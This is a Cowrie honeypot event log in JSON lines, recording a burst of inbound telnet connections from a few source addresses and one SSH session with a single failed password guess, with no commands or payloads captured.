{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":1350,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ade0ace991","protocol":"telnet","message":"New connection: 154.110.11.213:1350 (10.17.0.5:23) [session: 65ade0ace991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:11.573579Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":42851,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53f9f7df3a6","protocol":"telnet","message":"New connection: 154.110.11.213:42851 (10.17.0.5:23) [session: c53f9f7df3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:11.853552Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39292,"dst_ip":"10.17.0.5","dst_port":23,"session":"63539e80cda7","protocol":"telnet","message":"New connection: 198.50.122.223:39292 (10.17.0.5:23) [session: 63539e80cda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:13.017985Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39438,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4fc7e50d80","protocol":"telnet","message":"New connection: 198.50.122.223:39438 (10.17.0.5:23) [session: 7c4fc7e50d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:13.080746Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39470,"dst_ip":"10.17.0.5","dst_port":23,"session":"bafd1ef5a580","protocol":"telnet","message":"New connection: 198.50.122.223:39470 (10.17.0.5:23) [session: bafd1ef5a580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:13.095468Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39574,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbc2d806ba6","protocol":"telnet","message":"New connection: 198.50.122.223:39574 (10.17.0.5:23) [session: dfbc2d806ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:13.127821Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"898e86deff3d","protocol":"telnet","message":"New connection: 198.50.122.223:54250 (10.17.0.5:23) [session: 898e86deff3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:13.147237Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40632,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b5e548282fa","protocol":"telnet","message":"New connection: 198.50.122.223:40632 (10.17.0.5:23) [session: 3b5e548282fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:13.408358Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43826,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d512b6ee1d4","protocol":"telnet","message":"New connection: 198.50.122.223:43826 (10.17.0.5:23) [session: 4d512b6ee1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:14.064389Z"}
{"eventid":"cowrie.session.closed","duration":42.56270170211792,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:14.355842Z","src_ip":"185.26.126.47","session":"3767b0354cb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43026,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b04056f7b1b","protocol":"telnet","message":"New connection: 198.50.122.223:43026 (10.17.0.5:23) [session: 7b04056f7b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:14.824985Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43972,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fa7ff37bc9","protocol":"telnet","message":"New connection: 198.50.122.223:43972 (10.17.0.5:23) [session: b6fa7ff37bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:15.149124Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48646,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1cd8bffacbc","protocol":"telnet","message":"New connection: 198.50.122.223:48646 (10.17.0.5:23) [session: e1cd8bffacbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:15.229074Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49176,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb433014f3d4","protocol":"telnet","message":"New connection: 198.50.122.223:49176 (10.17.0.5:23) [session: cb433014f3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:15.330019Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":4505,"dst_ip":"10.17.0.5","dst_port":23,"session":"0732883343f6","protocol":"telnet","message":"New connection: 154.110.11.213:4505 (10.17.0.5:23) [session: 0732883343f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:15.344022Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44998,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c19c15be459","protocol":"telnet","message":"New connection: 198.50.122.223:44998 (10.17.0.5:23) [session: 6c19c15be459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:15.367893Z"}
{"eventid":"cowrie.session.closed","duration":31.400923252105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:15.521294Z","src_ip":"198.50.122.223","session":"44e5a4ff3955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52862,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d38a46554e","protocol":"telnet","message":"New connection: 198.50.122.223:52862 (10.17.0.5:23) [session: 63d38a46554e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:16.116382Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53014,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdddaed7294b","protocol":"telnet","message":"New connection: 198.50.122.223:53014 (10.17.0.5:23) [session: cdddaed7294b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:16.181318Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55396,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d4297c0f0a","protocol":"telnet","message":"New connection: 198.50.122.223:55396 (10.17.0.5:23) [session: 57d4297c0f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:16.662272Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56156,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b29b73191ba","protocol":"telnet","message":"New connection: 198.50.122.223:56156 (10.17.0.5:23) [session: 9b29b73191ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:16.789473Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":56732,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b97b358b56","protocol":"ssh","message":"New connection: 210.79.142.221:56732 (10.17.0.5:22) [session: 70b97b358b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.121084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.124950Z","src_ip":"210.79.142.221","session":"70b97b358b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"612d15c12067","protocol":"telnet","message":"New connection: 198.50.122.223:57476 (10.17.0.5:23) [session: 612d15c12067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.144610Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.368104Z","src_ip":"210.79.142.221","session":"70b97b358b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58588,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a9b59fd0847","protocol":"telnet","message":"New connection: 198.50.122.223:58588 (10.17.0.5:23) [session: 1a9b59fd0847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.432040Z"}
{"eventid":"cowrie.session.closed","duration":31.086547136306763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.652099Z","src_ip":"198.50.122.223","session":"ad25d02346ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb24c43870b","protocol":"telnet","message":"New connection: 198.50.122.223:60214 (10.17.0.5:23) [session: 4cb24c43870b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:17.702001Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33776,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ba063aef6b","protocol":"telnet","message":"New connection: 198.50.122.223:33776 (10.17.0.5:23) [session: 14ba063aef6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:18.116866Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48464,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a91318fc79","protocol":"telnet","message":"New connection: 198.50.122.223:48464 (10.17.0.5:23) [session: 50a91318fc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:18.191336Z"}
{"eventid":"cowrie.session.closed","duration":30.9538471698761,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:18.277300Z","src_ip":"198.50.122.223","session":"272ff62db3f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdlkj","message":"login attempt [user/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:18.373696Z","src_ip":"210.79.142.221","session":"70b97b358b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":32926,"dst_ip":"10.17.0.5","dst_port":23,"session":"2319dc1b16cd","protocol":"telnet","message":"New connection: 198.50.122.223:32926 (10.17.0.5:23) [session: 2319dc1b16cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:18.879357Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38334,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb33fdc6a903","protocol":"telnet","message":"New connection: 198.50.122.223:38334 (10.17.0.5:23) [session: eb33fdc6a903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.134469Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f186a80c9eab","protocol":"telnet","message":"New connection: 198.50.122.223:38816 (10.17.0.5:23) [session: f186a80c9eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.302223Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53384,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b733064f8d","protocol":"telnet","message":"New connection: 198.50.122.223:53384 (10.17.0.5:23) [session: 45b733064f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.323379Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38938,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd01aa01739d","protocol":"telnet","message":"New connection: 198.50.122.223:38938 (10.17.0.5:23) [session: dd01aa01739d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.331182Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39206,"dst_ip":"10.17.0.5","dst_port":23,"session":"a868c6c2ec26","protocol":"telnet","message":"New connection: 198.50.122.223:39206 (10.17.0.5:23) [session: a868c6c2ec26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.392938Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34746,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2ef2aec1c6","protocol":"telnet","message":"New connection: 198.50.122.223:34746 (10.17.0.5:23) [session: eb2ef2aec1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.399444Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40144,"dst_ip":"10.17.0.5","dst_port":23,"session":"85820f893ec4","protocol":"telnet","message":"New connection: 198.50.122.223:40144 (10.17.0.5:23) [session: 85820f893ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.569363Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.620477Z","src_ip":"210.79.142.221","session":"70b97b358b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36362,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c95496a453","protocol":"telnet","message":"New connection: 198.50.122.223:36362 (10.17.0.5:23) [session: 43c95496a453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.652031Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41060,"dst_ip":"10.17.0.5","dst_port":23,"session":"85aa3ae72da4","protocol":"telnet","message":"New connection: 198.50.122.223:41060 (10.17.0.5:23) [session: 85aa3ae72da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:19.700395Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43010,"dst_ip":"10.17.0.5","dst_port":23,"session":"a21078404989","protocol":"telnet","message":"New connection: 198.50.122.223:43010 (10.17.0.5:23) [session: a21078404989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:20.147813Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43142,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb267da7a52","protocol":"telnet","message":"New connection: 198.50.122.223:43142 (10.17.0.5:23) [session: 4cb267da7a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:20.196614Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45140,"dst_ip":"10.17.0.5","dst_port":23,"session":"16984cd07234","protocol":"telnet","message":"New connection: 198.50.122.223:45140 (10.17.0.5:23) [session: 16984cd07234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:20.598458Z"}
{"eventid":"cowrie.session.closed","duration":30.589442491531372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:21.065167Z","src_ip":"198.50.122.223","session":"0d7939d61036","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48632,"dst_ip":"10.17.0.5","dst_port":23,"session":"9661de10d250","protocol":"telnet","message":"New connection: 198.50.122.223:48632 (10.17.0.5:23) [session: 9661de10d250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:21.400208Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48966,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c552aba0f04","protocol":"telnet","message":"New connection: 198.50.122.223:48966 (10.17.0.5:23) [session: 6c552aba0f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:21.461498Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50628,"dst_ip":"10.17.0.5","dst_port":23,"session":"5917e3034693","protocol":"telnet","message":"New connection: 198.50.122.223:50628 (10.17.0.5:23) [session: 5917e3034693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:21.736565Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52854,"dst_ip":"10.17.0.5","dst_port":23,"session":"88d78eb556a8","protocol":"telnet","message":"New connection: 198.50.122.223:52854 (10.17.0.5:23) [session: 88d78eb556a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:22.332949Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53998,"dst_ip":"10.17.0.5","dst_port":23,"session":"396a866ffc9b","protocol":"telnet","message":"New connection: 198.50.122.223:53998 (10.17.0.5:23) [session: 396a866ffc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:22.537990Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50638,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8369838a31","protocol":"telnet","message":"New connection: 198.50.122.223:50638 (10.17.0.5:23) [session: fa8369838a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:22.741454Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55662,"dst_ip":"10.17.0.5","dst_port":23,"session":"261ae8e11fc1","protocol":"telnet","message":"New connection: 198.50.122.223:55662 (10.17.0.5:23) [session: 261ae8e11fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:22.880611Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa687e0f3f0","protocol":"telnet","message":"New connection: 198.50.122.223:55888 (10.17.0.5:23) [session: 6fa687e0f3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:22.933698Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52008,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a0180ec30e","protocol":"telnet","message":"New connection: 198.50.122.223:52008 (10.17.0.5:23) [session: f4a0180ec30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.083411Z"}
{"eventid":"cowrie.session.closed","duration":31.152331829071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.164461Z","src_ip":"198.50.122.223","session":"f3d3cae13d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56906,"dst_ip":"10.17.0.5","dst_port":23,"session":"859696ffb549","protocol":"telnet","message":"New connection: 198.50.122.223:56906 (10.17.0.5:23) [session: 859696ffb549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.204872Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57656,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ac2ab6b1bc","protocol":"telnet","message":"New connection: 198.50.122.223:57656 (10.17.0.5:23) [session: 03ac2ab6b1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.430866Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e6ac663ae7a","protocol":"telnet","message":"New connection: 198.50.122.223:58878 (10.17.0.5:23) [session: 1e6ac663ae7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.629041Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54678,"dst_ip":"10.17.0.5","dst_port":23,"session":"949806ff2c83","protocol":"telnet","message":"New connection: 198.50.122.223:54678 (10.17.0.5:23) [session: 949806ff2c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.651414Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"794f0c9e47b6","protocol":"telnet","message":"New connection: 198.50.122.223:59256 (10.17.0.5:23) [session: 794f0c9e47b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.697568Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"702ac67620da","protocol":"telnet","message":"New connection: 198.50.122.223:55204 (10.17.0.5:23) [session: 702ac67620da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:23.767884Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33714,"dst_ip":"10.17.0.5","dst_port":23,"session":"1207084c6e03","protocol":"telnet","message":"New connection: 198.50.122.223:33714 (10.17.0.5:23) [session: 1207084c6e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:24.316638Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38098,"dst_ip":"10.17.0.5","dst_port":23,"session":"1732e6337392","protocol":"telnet","message":"New connection: 198.50.122.223:38098 (10.17.0.5:23) [session: 1732e6337392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:25.297938Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40836,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dc6b737b277","protocol":"telnet","message":"New connection: 198.50.122.223:40836 (10.17.0.5:23) [session: 8dc6b737b277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:25.830988Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41402,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd4da615c6e","protocol":"telnet","message":"New connection: 198.50.122.223:41402 (10.17.0.5:23) [session: 1bd4da615c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:25.962360Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46808,"dst_ip":"10.17.0.5","dst_port":23,"session":"04aff132220a","protocol":"telnet","message":"New connection: 198.50.122.223:46808 (10.17.0.5:23) [session: 04aff132220a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:27.172558Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51080,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc5038f6378","protocol":"telnet","message":"New connection: 198.50.122.223:51080 (10.17.0.5:23) [session: 0bc5038f6378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:28.085115Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51574,"dst_ip":"10.17.0.5","dst_port":23,"session":"216e77021faf","protocol":"telnet","message":"New connection: 198.50.122.223:51574 (10.17.0.5:23) [session: 216e77021faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:28.261588Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52194,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c9ab13852a7","protocol":"telnet","message":"New connection: 198.50.122.223:52194 (10.17.0.5:23) [session: 1c9ab13852a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:28.382001Z"}
